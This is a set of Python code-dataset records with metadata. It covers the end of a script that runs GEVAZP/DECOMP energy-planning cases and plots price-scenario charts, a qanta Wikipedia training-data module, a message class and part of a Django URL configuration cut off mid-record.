[round(min(self.dados.loc[self.dados['submercado'] == self.par_sub[1], 'ena']) / \\\n mlt.loc[mlt['mes'] == mes, str(self.par_sub[1])].values[0], 1),\n\n math.ceil(max(self.dados.loc[self.dados['submercado'] == self.par_sub[1], 'ena']) / \\\n mlt.loc[mlt['mes'] == mes, str(self.par_sub[1])].values[0])\n ]\n\n #plt.xticks(np.arange(0, lim_x[1], round(lim_y[1] * 100) / 5000), rotation=30)\n #plt.yticks(np.arange(0, lim_y[1], round(lim_x[1] * 100) / 1000))\n ticks_x = ax.get_xticks()\n ticks_y = ax.get_yticks()\n ax.set_xticklabels(['{:3.0f}%'.format(x * 100) for x in ticks_x])\n ax.set_yticklabels(['{:3.0f}%'.format(x * 100) for x in ticks_y])\n\n # Insere grade\n ax.grid(True, linestyle='--', alpha=0.85)\n plt.title('Matriz de Precos {} - Gevazp - Mes {}'.format(subsistemas[self.referencia - 1], mes))\n\n # Desenha retangulo\n ax.add_patch(patches.Rectangle(xy=self.retangulo['lower_left'],\n width=self.retangulo['width'],\n height=self.retangulo['height'],\n fill=False,\n edgecolor='r',\n linestyle='dashed',\n linewidth=3.0\n )\n )\n ax.annotate('Intervalo confianca',\n xy=(self.retangulo['lower_left'][0] + self.retangulo['width'],\n self.retangulo['lower_left'][1] + self.retangulo['height']\n ),\n color='r',\n weight='bold',\n arrowprops=dict(facecolor='r', edgecolor='r'),\n xytext=(self.retangulo['lower_left'][0] + self.retangulo['width'] + 0.1,\n self.retangulo['lower_left'][1] + self.retangulo['height'] + 0.5\n ),\n fontsize=14,\n alpha=0.80\n )\n\n # Salva figura\n plt.savefig(os.path.join(self.paths['export'], 'resultados.png'), bbox_inches='tight')\n return\n\n\n def desenha_scatter_ena_bruta(self, mes):\n subsistemas = ['SE', 'S', 'NE', 'N']\n fig = plt.figure(figsize=(13, 7))\n ax = fig.add_subplot(111)\n self.dados = pd.DataFrame(self.dados)\n\n self.dados['ena'] = self.dados['ena'].apply(lambda x: float(x))\n colors = cm.jet(np.linspace(0, 0.90, self.config_plot.shape[0]))\n self.config_plot['texto'] = self.config_plot.apply(lambda x: '{} >= pld < {}'.format(x['inferior'],\n x['superior']\n ), axis=1\n )\n\n for i in self.config_plot.iterrows():\n aux = pd.DataFrame(self.dados.loc[(self.dados['preco'] >= i[1].inferior) &\n (self.dados['preco'] < i[1].superior) &\n (self.dados['submercado'] == self.referencia)\n ]\n )\n\n aux = self.dados.loc[self.dados['cenario'].isin(aux['cenario'].values)]\n\n x = aux.loc[aux['submercado'] == self.par_sub[0], 'ena'].values\n y = aux.loc[aux['submercado'] == self.par_sub[1], 'ena'].values\n ax.scatter(x=x,\n y=y,\n c=colors[i[0]]\n )\n\n # Legenda\n cenarios = self.dados.shape[0] / 4 + 1\n plt.legend(self.config_plot.texto, loc=2, title='Agrupamento de {} cenarios'.format(cenarios),\n fancybox=True\n )\n ax.get_legend().get_title().set_color(\"red\")\n\n # ajustando eixos\n plt.xlabel(s='{} [MWm]'.format(subsistemas[self.par_sub[0] - 1]))\n plt.ylabel(s='{} [MWm]'.format(subsistemas[self.par_sub[1] - 1]))\n plt.tick_params(axis='both', which='major', labelsize=9)\n\n\n lim_x = [round(min(self.dados.loc[self.dados['submercado'] == self.referencia, 'ena'])),\n\n math.ceil(max(self.dados.loc[self.dados['submercado'] == self.referencia, 'ena']))\n ]\n\n lim_y = [round(min(self.dados.loc[self.dados['submercado'] == self.par_sub[1], 'ena'])),\n\n math.ceil(max(self.dados.loc[self.dados['submercado'] == self.par_sub[1], 'ena']))\n ]\n\n ticks_x = ax.get_xticks()\n ticks_y = ax.get_yticks()\n ax.set_xticklabels(['{:6.0f}'.format(x) for x in ticks_x])\n ax.set_yticklabels(['{:6.0f}'.format(x) for x in ticks_y])\n\n # Insere grade\n ax.grid(True, linestyle='--', alpha=0.85)\n plt.title('Matriz de Precos {} - Gevazp - Mes {}'.format(subsistemas[self.referencia - 1], mes))\n\n ax.annotate('Intervalo confianca',\n xy=(self.retangulo['lower_left'][0] + self.retangulo['width'],\n self.retangulo['lower_left'][1] + self.retangulo['height']\n ),\n color='r',\n weight='bold',\n arrowprops=dict(facecolor='r', edgecolor='r'),\n xytext=(self.retangulo['lower_left'][0] + self.retangulo['width'] + 0.2,\n self.retangulo['lower_left'][1] + self.retangulo['height'] + 0.2\n ),\n fontsize=14\n )\n # Salva figura\n plt.savefig(os.path.join(self.paths['export'], 'resultados_bruto.png'), bbox_inches='tight')\n pass\n return\n\n\n def desenha_scatter_seaborn(self, mes):\n subsistemas = ['SE', 'S', 'NE', 'N']\n self.dados = pd.DataFrame(self.dados)\n self.dados['ena'] = self.dados['ena'].apply(lambda x: float(x))\n self.config_plot['texto'] = self.config_plot.apply(lambda x: '{} >= pld < {}'.format(x['inferior'],\n x['superior']\n ), axis=1\n )\n self.dados['group'] = -1\n # itera classificando nos ranges definidos\n for i in self.config_plot.iterrows():\n aux = self.dados.loc[(self.dados['preco'] >= i[1].inferior) &\n (self.dados['preco'] < i[1].superior) &\n (self.dados['submercado'] == self.referencia), :\n ]['cenario']\n\n self.dados.loc[self.dados['cenario'].isin(aux), ['group']] = i[1].texto\n\n # remove cenarios nao classificados e subsistemas que nao se deseja plotar\n self.dados = self.dados.loc[self.dados['submercado'].isin(self.par_sub), :]\n self.dados = pd.DataFrame(self.dados.loc[self.dados['group'] != -1, :])\n\n # cria coluna com ena percentual\n self.dados['ena_p'] = 0\n\n # calcula ena percentual subsistema de referencia\n aux = self.dados.loc[self.dados.submercado == self.referencia].index\n self.dados.loc[aux, 'ena_p'] = self.dados.loc[aux, 'ena'] / self.mlt.loc[mes - 1, str(self.referencia)] * 100\n # calcula ena percentual subsistema de comparacao\n aux = self.dados.loc[self.dados.submercado == self.par_sub[1]].index\n self.dados.loc[aux, 'ena_p'] = self.dados.loc[aux, 'ena'] / self.mlt.loc[mes - 1, str(self.par_sub[1])] * 100\n\n # pega enas para formacao das enas\n aux = self.dados.loc[self.dados['submercado'] == self.referencia, ['cenario', 'ena', 'ena_p']]\n aux2 = self.dados.loc[self.dados['submercado'] == self.par_sub[1], ['cenario', 'ena', 'ena_p']]\n\n aux = aux.rename(columns={'ena': 'ena_bruta_{}'.format(subsistemas[self.referencia - 1]),\n 'ena_p':'ena_p_{}'.format(subsistemas[self.referencia - 1])\n }\n )\n aux2 = aux2.rename(columns={'ena': 'ena_bruta_{}'.format(subsistemas[self.par_sub[1] - 1]),\n 'ena_p': 'ena_p_{}'.format(subsistemas[self.par_sub[1] - 1])\n }\n )\n\n self.dados = pd.merge(self.dados, aux, on=['cenario'])\n self.dados = pd.merge(self.dados, aux2, on=['cenario'])\n self.dados.sort_values(by=['preco'], ascending=True, inplace=True)\n sns.set_style('ticks', {'axes.grid': True,\n 'legend.frameon': True,\n 'grid.linestyle': u'--',\n 'legend.scatterpoints': 1\n }\n )\n\n markers = ['o', 'v', '^', '<', '>', '8', 's', 'p', '*', 'h', 'H', 'D', 'd', 'P', 'X'] * 10\n sns.set_context('notebook')\n sns.axes_style()\n\n # Grafico ENA bruta\n sns.lmplot(x='ena_bruta_{}'.format(subsistemas[self.referencia - 1]),\n y='ena_bruta_{}'.format(subsistemas[self.par_sub[1] - 1]),\n data=self.dados,\n hue='group',\n fit_reg=False,\n palette='hsv',\n legend=False,\n legend_out=False,\n size=6.3,\n aspect=2.0,\n scatter=True,\n markers=markers[0:len(self.dados['group'].unique())]\n )\n\n plt.xlabel(s='ENA - {} [MWm]'.format(subsistemas[self.referencia - 1]))\n plt.ylabel(s='ENA - {} [MWm]'.format(subsistemas[self.par_sub[1] - 1]))\n plt.legend(loc='best', fancybox=True, frameon=True, title='Classes PLD', facecolor='white')\n plt.minorticks_on()\n plt.grid(b=True, which='both', linestyle= u'--')\n plt.title(s='Matriz de Precos GEVAZP - Mes {} - Mercado - {}'.format(mes, subsistemas[self.referencia - 1]),\n loc='center')\n plt.savefig(os.path.join(self.paths['export'], '{}_resultado_b_{}_{}.png'.format(mes,\n str(subsistemas[self.referencia - 1]),\n str(subsistemas[self.par_sub[1] - 1])\n )\n )\n )\n plt.close()\n\n # Grafico ENA relativa\n sns.lmplot(x='ena_p_{}'.format(subsistemas[self.referencia - 1]),\n y='ena_p_{}'.format(subsistemas[self.par_sub[1] - 1]),\n data=self.dados,\n hue='group',\n fit_reg=False,\n palette='hsv',\n legend=False,\n legend_out=False,\n size=6.3,\n aspect=2.0,\n scatter=True,\n markers=markers[0:len(self.dados['group'].unique())]\n )\n\n plt.xlabel(s='ENA - {} [%MLT]'.format(subsistemas[self.referencia - 1]))\n plt.ylabel(s='ENA - {} [%MLT]'.format(subsistemas[self.par_sub[1] - 1]))\n plt.legend(loc='best', fancybox=True, frameon=True, title='Classes PLD', facecolor='white')\n plt.minorticks_on()\n plt.grid(b=True, which='both', linestyle=u'--')\n plt.title(s='Matriz de Precos GEVAZP - Mes {} - Mercado - {}'.format(mes, subsistemas[self.referencia - 1]),\n loc='center')\n plt.savefig(os.path.join(self.paths['export'], '{}_resultado_p_{}_{}.png'.format(mes,\n str(subsistemas[\n self.referencia - 1]),\n str(subsistemas[\n self.par_sub[1] - 1])\n )\n )\n )\n plt.close()\n return\n\n\ndef executa_gevazp(parametros):\n import os\n import shutil\n import subprocess\n from datetime import datetime\n\n t = datetime.now()\n caso = parametros[0]\n path = parametros[1]\n \n # Cria pasta gevazp\n os.makedirs(os.path.join(path, 'gevazp'))\n\n # Copia arquivos para pasta\n for i in parametros[0].nomes['decomp_exec']:\n shutil.copy(src=os.path.join(caso.paths['decomp_base'], i),\n dst=os.path.join(path, 'gevazp'))\n\n for i in parametros[0].nomes['gevazp_exec']:\n shutil.copy(src=os.path.join(caso.paths['arquivos_gevazp'], i),\n dst=os.path.join(path, 'gevazp'))\n\n \n shutil.copy(src=os.path.join(path, 'prevs.rv0'), dst=os.path.join(path, 'gevazp'))\n \n shutil.copy(src=os.path.join(caso.paths['arquivos_gevazp'], caso.nomes['gevazp_lic']),\n dst=os.path.join(path, 'gevazp'))\n\n # Executa gevazp\n os.chdir(os.path.join(path, 'gevazp'))\n FNULL = open(os.devnull, 'w')\n stdout = open(os.path.join(path, 'stdout.txt'), 'w')\n stderr = open(os.path.join(path, 'stderr.txt'), 'w')\n retcode = subprocess.call([caso.paths['executavel_gevazp']], stdout=stdout, stderr=stderr)\n\n # Copia arquivo para pasta anterior\n if os.path.isfile(os.path.join(path, 'gevazp', 'vazoes.rv0')) == False:\n input(\"Executavel nao encontrado\")\n print(parametros[0])\n shutil.copy(os.path.join(path, 'gevazp', 'vazoes.rv0'), path)\n\n # Limpa pasta\n os.chdir(path)\n shutil.rmtree(os.path.join(path, 'gevazp'))\n\n print('Concluido -> {} Tempo de execucao GEVAZP :{:06.2f}s'.format(path, (datetime.now() - t).total_seconds()))\n return\n\n\nif __name__ == '__main__':\n import os\n import glob\n import pandas as pd\n import numpy as np\n import shutil\n from multiprocessing import cpu_count, Pool\n import subprocess\n import matplotlib.pyplot as plt\n import matplotlib.patches as patches\n import matplotlib.cm as cm\n import math\n import smtplib\n from email.mime.text import MIMEText\n from email.mime.multipart import MIMEMultipart\n from Crypto.PublicKey import RSA\n import ast\n import getpass\n import seaborn as sns\n\n # Configuracao -----------------------------------------------------------------------------------------------------\n mes = 7\n paths = {'decomp_base': r'/home/centos/gevazp/2018/201806/201807/decomp_base',\n 'decks_gevazp': r'/home/centos/gevazp/2018/201806/201807/decks_1',\n 'vazoes_gevazp': r'/home/centos/gevazp/2018/201806/201807',\n 'executavel_gevazp': r'/usr/bin/gevazp_L',\n 'arquivos_gevazp': r'/home/centos/gevazp/2018/201806/201807/gevazp_base',\n 'export': r'/home/centos/gevazp/2018/201806/201807/export_1',\n 'mlt': r'/home/centos/gevazp/2018/201806/201807'\n }\n\n nomes = {'gevazp_exec': ['arquivos.dat', 'caso.dat', 'gevazp.dat', 'MODIF.DAT',\n 'postos.dat', 'regras.dat', 'rv0.txt'\n ],\n 'gevazp_lic': 'GEVAZP.LIC',\n 'vazoes': 'VAZOESTA.CSV',\n 'decomp_exec': ['dadger.rv0', 'hidr.dat', 'perdas.dat', 'mlt.dat',\n 'vazoes.dat'\n ],\n 'mlt':r'mlt.csv',\n 'public_key': 'public_key.txt',\n 'senha_email': 'config.txt'\n }\n\n config_servidor = {'n_proc': 14,\n 'versao_decomp': '27',\n 'path_exec': r'/usr/bin',\n 'path_lic': r'/home/centos/script',\n 'lic_decomp': r'deco.prm'\n }\n\n config_plot = {'valor_inicial': 150,\n 'n_classes': 15,\n 'step': 40,\n 'sub_referencia': 1,\n 'par_subs': [1, 2],\n 'retangulo': {'lower_left': (0.80, 0.70),\n 'height': 0.50,\n 'width': 0.25}\n }\n config_email = {'from': 'anderson.visconti@enexenergia.com.br',\n 'to': [\n 'anderson.visconti@enexenergia.com.br',\n ],\n 'servidor': 'smtp.gmail.com',\n 'porta': 587,\n 'user': 'anderson.visconti@enexenergia.com.br'\n }\n\n\n # Determina se executar preparacao do ambiente gevazp ou apenas decomp - 1 para sim e 0 para nao\n execucao = {'ambiente': 0,\n 'gevazp': 0,\n 'decomp': 1,\n 'resultados': 1,\n 'desenho': 0,\n 'envia_email': 0,\n 'criptografia': 0\n }\n # Fim Configuracao -------------------------------------------------------------------------------------------------\n\n if execucao['ambiente'] == 1:\n caso = Casos(paths=paths, nomes=nomes)\n caso.ler_vazoes(sep=',', decimal='.', mes=mes)\n caso.gerar_ambiente()\n caso.calcula_postos(mes=mes)\n caso.gerar_prevs()\n lista = glob.glob(os.path.join(caso.paths['decks_gevazp'], '*'))\n parametros = []\n for i in lista:\n parametros.append([caso, i])\n\n if execucao['gevazp'] == 1:\n #p = Pool(1)\n p = Pool(cpu_count())\n result = p.map(func=executa_gevazp, iterable=parametros)\n print('Fim da execucao dso Gevazps')\n\n # Execucao dos casos gevazp\n if execucao['decomp'] == 1:\n gerenciador = Gerenciador(paths=paths, nomes=nomes, config_servidor=config_servidor)\n gerenciador.listar_casos()\n gerenciador.executar_decomp()\n\n # Captura dos resultados\n if execucao['resultados'] == 1:\n gerenciador = Gerenciador(paths=paths, nomes=nomes, config_servidor=config_servidor)\n gerenciador.listar_casos()\n for i in gerenciador.lista.iterrows():\n gerenciador.pegar_resultado(cenario=i[1].cenario)\n gerenciador.exportar_resultados()\n\n # Monta grafico\n if execucao['desenho'] == 1:\n resultados = pd.read_csv(os.path.join(paths['export'], 'resultados.csv'), sep=';', decimal=',')\n mlt = pd.read_csv(os.path.join(paths['mlt'], nomes['mlt']), sep=';', decimal=',')\n desenho = Desenho(paths=paths, nomes=nomes ,dados=resultados, config_plot=config_plot, mlt=mlt)\n desenho.desenha_scatter_seaborn(mes=mes)\n\n if execucao['envia_email'] == 1:\n gerenciador = Gerenciador(paths=paths, nomes=nomes, config_servidor=config_servidor)\n gerenciador.envia_email(config_email=config_email)\n\n if execucao['criptografia'] == 1:\n cripto = Criptografia(paths=paths, nomes=nomes)\n cripto.gerar_chave_publica()\n cripto.gerar_senha()\n pass\n\n print('Fim')\n pass\n", "sub_path": "casos_gevazp/CasosGevazp.py", "file_name": "CasosGevazp.py", "file_ext": "py", "file_size_in_byte": 41119, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.now", "line_number": 738, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 738, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 743, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 743, "usage_type": "call"}, {"api_name": "os.path", "line_number": 743, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 747, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 747, "usage_type": "call"}, {"api_name": "os.path", "line_number": 747, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 748, "usage_type": "call"}, {"api_name": "os.path", "line_number": 748, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 751, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 751, "usage_type": "call"}, {"api_name": "os.path", "line_number": 751, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 752, "usage_type": "call"}, {"api_name": "os.path", "line_number": 752, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 755, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 755, "usage_type": "call"}, {"api_name": "os.path", "line_number": 755, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 757, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 757, "usage_type": "call"}, {"api_name": "os.path", "line_number": 757, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 758, "usage_type": "call"}, {"api_name": "os.path", "line_number": 758, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 761, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 761, "usage_type": "call"}, {"api_name": "os.path", "line_number": 761, "usage_type": "attribute"}, {"api_name": "os.devnull", "line_number": 762, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 763, "usage_type": "call"}, {"api_name": "os.path", "line_number": 763, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 764, "usage_type": "call"}, {"api_name": "os.path", "line_number": 764, "usage_type": "attribute"}, {"api_name": "subprocess.call", "line_number": 765, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 768, "usage_type": "call"}, {"api_name": "os.path", "line_number": 768, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 768, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 771, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 771, "usage_type": "call"}, {"api_name": "os.path", "line_number": 771, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 774, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 775, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 775, "usage_type": "call"}, {"api_name": "os.path", "line_number": 775, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 777, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 777, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 868, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 868, "usage_type": "call"}, {"api_name": "os.path", "line_number": 868, "usage_type": "attribute"}, {"api_name": "multiprocessing.Pool", "line_number": 875, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 875, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 895, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 895, "usage_type": "call"}, {"api_name": "os.path", "line_number": 895, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 896, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 896, "usage_type": "call"}, {"api_name": "os.path", "line_number": 896, "usage_type": "attribute"}]} {"seq_id": "213983036", "text": "from typing import Set\nimport random\nimport pickle\nfrom collections import defaultdict\nimport nltk\n\nfrom qanta.datasets.abstract import AbstractDataset, TrainingData\nfrom qanta.wikipedia.cached_wikipedia import Wikipedia, extract_wiki_sentences\nfrom qanta.tagme import TagmeClient\nfrom qanta.util.io import safe_open\n\n\nclass WikipediaDataset(AbstractDataset):\n def __init__(self, answers: Set[str], n_sentences=5, replace_title_mentions=''):\n super().__init__()\n self.answers = answers\n self.n_sentences = n_sentences\n self.replace_title_mentions = replace_title_mentions\n\n def training_data(self) -> TrainingData:\n wiki_lookup = Wikipedia()\n wiki_content = []\n wiki_answers = []\n for ans in self.answers:\n if ans not in wiki_lookup:\n continue\n wiki_page = wiki_lookup[ans]\n if len(wiki_page.text) != 0:\n sentences = extract_wiki_sentences(\n ans, wiki_page.text, self.n_sentences,\n replace_title_mentions=self.replace_title_mentions\n )\n for sent in sentences:\n wiki_content.append([sent])\n wiki_answers.append(ans)\n\n return wiki_content, wiki_answers, None\n\n\nclass TagmeWikipediaDataset(AbstractDataset):\n def __init__(self, location='output/tagme/tagme-wikipedia.pickle', n_examples=20):\n \"\"\"\n :param answers: Answer set to use in QB normalized format\n :param n_examples: Number of examples per answer to add\n \"\"\"\n super().__init__()\n self.n_examples = n_examples\n self.location = location\n\n def build(self, answers: Set[str], save=True):\n client = TagmeClient()\n wiki_lookup = Wikipedia()\n\n page_sentences = defaultdict(list)\n for ans in answers:\n if ans not in wiki_lookup:\n continue\n wiki_page = wiki_lookup[ans]\n if len(wiki_page.text) != 0:\n sentences = nltk.sent_tokenize(wiki_page.text)\n random.shuffle(sentences)\n clean_sentences, all_mentions = client.tag_mentions(sentences)\n for sent, mentions in zip(clean_sentences, all_mentions):\n page_mentions = {m.page for m in mentions}\n n_mentions = len(page_mentions)\n for page in page_mentions.intersection(answers):\n raise NotImplementedError('Need to fix this to use extract_wiki_sentences')\n stripped_sent = strip_title_references(page, sent)\n page_sentences[page].append((n_mentions, stripped_sent))\n\n if save:\n with safe_open(self.location, 'wb') as f:\n pickle.dump(page_sentences, f)\n\n return page_sentences\n\n\n def training_data(self):\n with open(self.location, 'rb') as f:\n page_sentences = pickle.load(f)\n\n tagme_content = []\n tagme_answers = []\n\n for ans in page_sentences:\n sorted_sentences = sorted(page_sentences[ans], reverse=True, key=lambda x: x[0])\n sent_list = [t[1] for t in sorted_sentences]\n\n for sentence in sent_list[:self.n_examples]:\n tagme_content.append([sentence])\n tagme_answers.append(ans)\n\n return tagme_content, tagme_answers, None\n", "sub_path": "qanta/datasets/wikipedia.py", "file_name": "wikipedia.py", "file_ext": "py", "file_size_in_byte": 3425, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "qanta.datasets.abstract.AbstractDataset", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 14, "usage_type": "name"}, {"api_name": "qanta.wikipedia.cached_wikipedia.Wikipedia", "line_number": 21, "usage_type": "call"}, {"api_name": "qanta.wikipedia.cached_wikipedia.extract_wiki_sentences", "line_number": 29, "usage_type": "call"}, {"api_name": "qanta.datasets.abstract.TrainingData", "line_number": 20, "usage_type": "name"}, {"api_name": "qanta.datasets.abstract.AbstractDataset", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 50, "usage_type": "name"}, {"api_name": "qanta.tagme.TagmeClient", "line_number": 51, "usage_type": "call"}, {"api_name": "qanta.wikipedia.cached_wikipedia.Wikipedia", "line_number": 52, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 54, "usage_type": "call"}, {"api_name": "nltk.sent_tokenize", "line_number": 60, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 61, "usage_type": "call"}, {"api_name": "qanta.util.io.safe_open", "line_number": 72, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 73, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 80, "usage_type": "call"}]} {"seq_id": "337548483", "text": "\nimport json\nfrom .basemessage import BaseMessage\nfrom .message import MessageType\n\n\nclass CallMessage(BaseMessage):\n def __init__(self, \n destination: str, \n origin: str, \n parameters: list[str | dict | list | int | float | bool | None] | None, \n reply_to: str,\n id: str | None = None,\n latest_hop: str | None = None,\n type: MessageType = MessageType.CALL\n ):\n super().__init__(origin=origin, destination=destination, type=type, id=id, latest_hop=latest_hop)\n self.parameters = parameters\n self.reply_to = reply_to\n\n def __repr__(self) -> str:\n attributes = vars(self)\n formatted_attributes = [f'{var}={value}' for var, value in attributes.items()]\n return f\"{type(self).__name__}({', '.join(formatted_attributes)})\"\n\n @classmethod \n def from_json(cls, json_message: str):\n #message_dict = json.loads(json_message, object_hook=cls.flatten_hook)\n message_dict = json.loads(json_message)\n ATTR_MAP_INV = {v: k for k, v in cls.ATTR_MAP.items()}\n message_dict = {ATTR_MAP_INV[attr]: value for attr, value in message_dict.items()}\n return cls(message_dict['destination'], message_dict['origin'], message_dict['parameters'], message_dict['reply_to'], message_dict['id'], message_dict['latest_hop'])\n ", "sub_path": "python/opendsb/src/opendsb/messaging/callmessage.py", "file_name": "callmessage.py", "file_ext": "py", "file_size_in_byte": 1409, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "basemessage.BaseMessage", "line_number": 7, "usage_type": "name"}, {"api_name": "message.MessageType", "line_number": 15, "usage_type": "name"}, {"api_name": "message.MessageType.CALL", "line_number": 15, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 29, "usage_type": "call"}]} {"seq_id": "287515927", "text": "# -*- coding: utf-8 -*-\n\nfrom django.conf.urls.i18n import i18n_patterns\nfrom django.template.loader import render_to_string\nfrom django.http import HttpResponse, HttpResponseNotFound, HttpResponseServerError\nfrom django.conf.urls import patterns, include, url\nfrom views.index import IndexView, RegisterView\nfrom views.captcha import CaptchaView\nfrom views.action import ActionView\nfrom views.addedit import AddView, EditView\nfrom views.news import NewsView\nfrom views.article import ArticleView, ArticleEditView, CategoryView, ArticleReviewEditsView\nfrom views.search import SearchView\nfrom views.base import menu as m\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\ndef err404(request):\n menu = m()\n if request.method == 'GET':\n return HttpResponseNotFound(render_to_string('404.html', locals()))\n else:\n return HttpResponseNotFound('404')\n\ndef err500(request):\n menu = m()\n if request.method == 'GET':\n return HttpResponseServerError(render_to_string('500.html', locals()))\n else:\n return HttpResponseServerError('500')\n\nhandler404 = 'urls.err404'\nhandler500 = 'urls.err500'\n\nurlpatterns = i18n_patterns(\n '',\n url(r'^$', IndexView.as_view()),\n url(r'^news/(?P\\d+)$', NewsView.as_view()),\n\n url(r'^news$', IndexView.as_view()),\n url(r'^news/$', IndexView.as_view()),\n url(r'^news/add$', AddView.as_view()),\n url(r'^news/(?P\\d+)/edit$', EditView.as_view()),\n url(r'^news/(?P\\d+)$', NewsView.as_view()),\n url(r'^news/page(?P\\d+)$', IndexView.as_view()),\n\n url(r'^login$', RegisterView.as_view()),\n\n url(r'^article/cat/(?P.+)$', CategoryView.as_view()),\n url(r'^article/(?P<title>.+)/edit$', ArticleEditView.as_view()),\n #url(r'^article/(?P<title>.+)/review/edits$', ArticleReviewEditsView.as_view()),\n url(r'^article/(?P<title>.+)$', ArticleView.as_view()),\n\n url(r'^search$', SearchView.as_view()),\n)\n\nurlpatterns += patterns(\n '',\n url(r'^$', IndexView.as_view()),\n url(r'^act$', ActionView.as_view()),\n url(r'^news/action$', ActionView.as_view()),\n\n url(r'^captcha/1\\.jpg$', CaptchaView.as_view()),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n)\n", "sub_path": "urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2500, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 17, "usage_type": "name"}, {"api_name": "views.base.menu", "line_number": 20, "usage_type": "call"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 22, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 22, "usage_type": "call"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 24, "usage_type": "call"}, {"api_name": "views.base.menu", "line_number": 27, "usage_type": "call"}, {"api_name": "django.http.HttpResponseServerError", "line_number": 29, "usage_type": "call"}, {"api_name": "django.template.loader.render_to_string", "line_number": 29, "usage_type": "call"}, {"api_name": "django.http.HttpResponseServerError", "line_number": 31, "usage_type": "call"}, {"api_name": "django.conf.urls.i18n.i18n_patterns", "line_number": 36, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 38, "usage_type": "call"}, {"api_name": "views.index.IndexView.as_view", "line_number": 38, "usage_type": "call"}, {"api_name": "views.index.IndexView", "line_number": 38, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 39, "usage_type": "call"}, {"api_name": "views.news.NewsView.as_view", "line_number": 39, "usage_type": "call"}, {"api_name": "views.news.NewsView", "line_number": 39, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 41, "usage_type": "call"}, {"api_name": "views.index.IndexView.as_view", "line_number": 41, "usage_type": "call"}, {"api_name": "views.index.IndexView", "line_number": 41, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 42, "usage_type": "call"}, {"api_name": "views.index.IndexView.as_view", "line_number": 42, "usage_type": "call"}, {"api_name": "views.index.IndexView", "line_number": 42, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 43, "usage_type": "call"}, {"api_name": "views.addedit.AddView.as_view", "line_number": 43, "usage_type": "call"}, {"api_name": "views.addedit.AddView", "line_number": 43, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 44, "usage_type": "call"}, {"api_name": "views.addedit.EditView.as_view", "line_number": 44, "usage_type": "call"}, {"api_name": "views.addedit.EditView", "line_number": 44, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 45, "usage_type": "call"}, {"api_name": "views.news.NewsView.as_view", "line_number": 45, "usage_type": "call"}, {"api_name": "views.news.NewsView", "line_number": 45, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 46, "usage_type": "call"}, {"api_name": "views.index.IndexView.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "views.index.IndexView", "line_number": 46, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 48, "usage_type": "call"}, {"api_name": "views.index.RegisterView.as_view", "line_number": 48, "usage_type": "call"}, {"api_name": "views.index.RegisterView", "line_number": 48, "usage_type": "name"}, {"api_name": 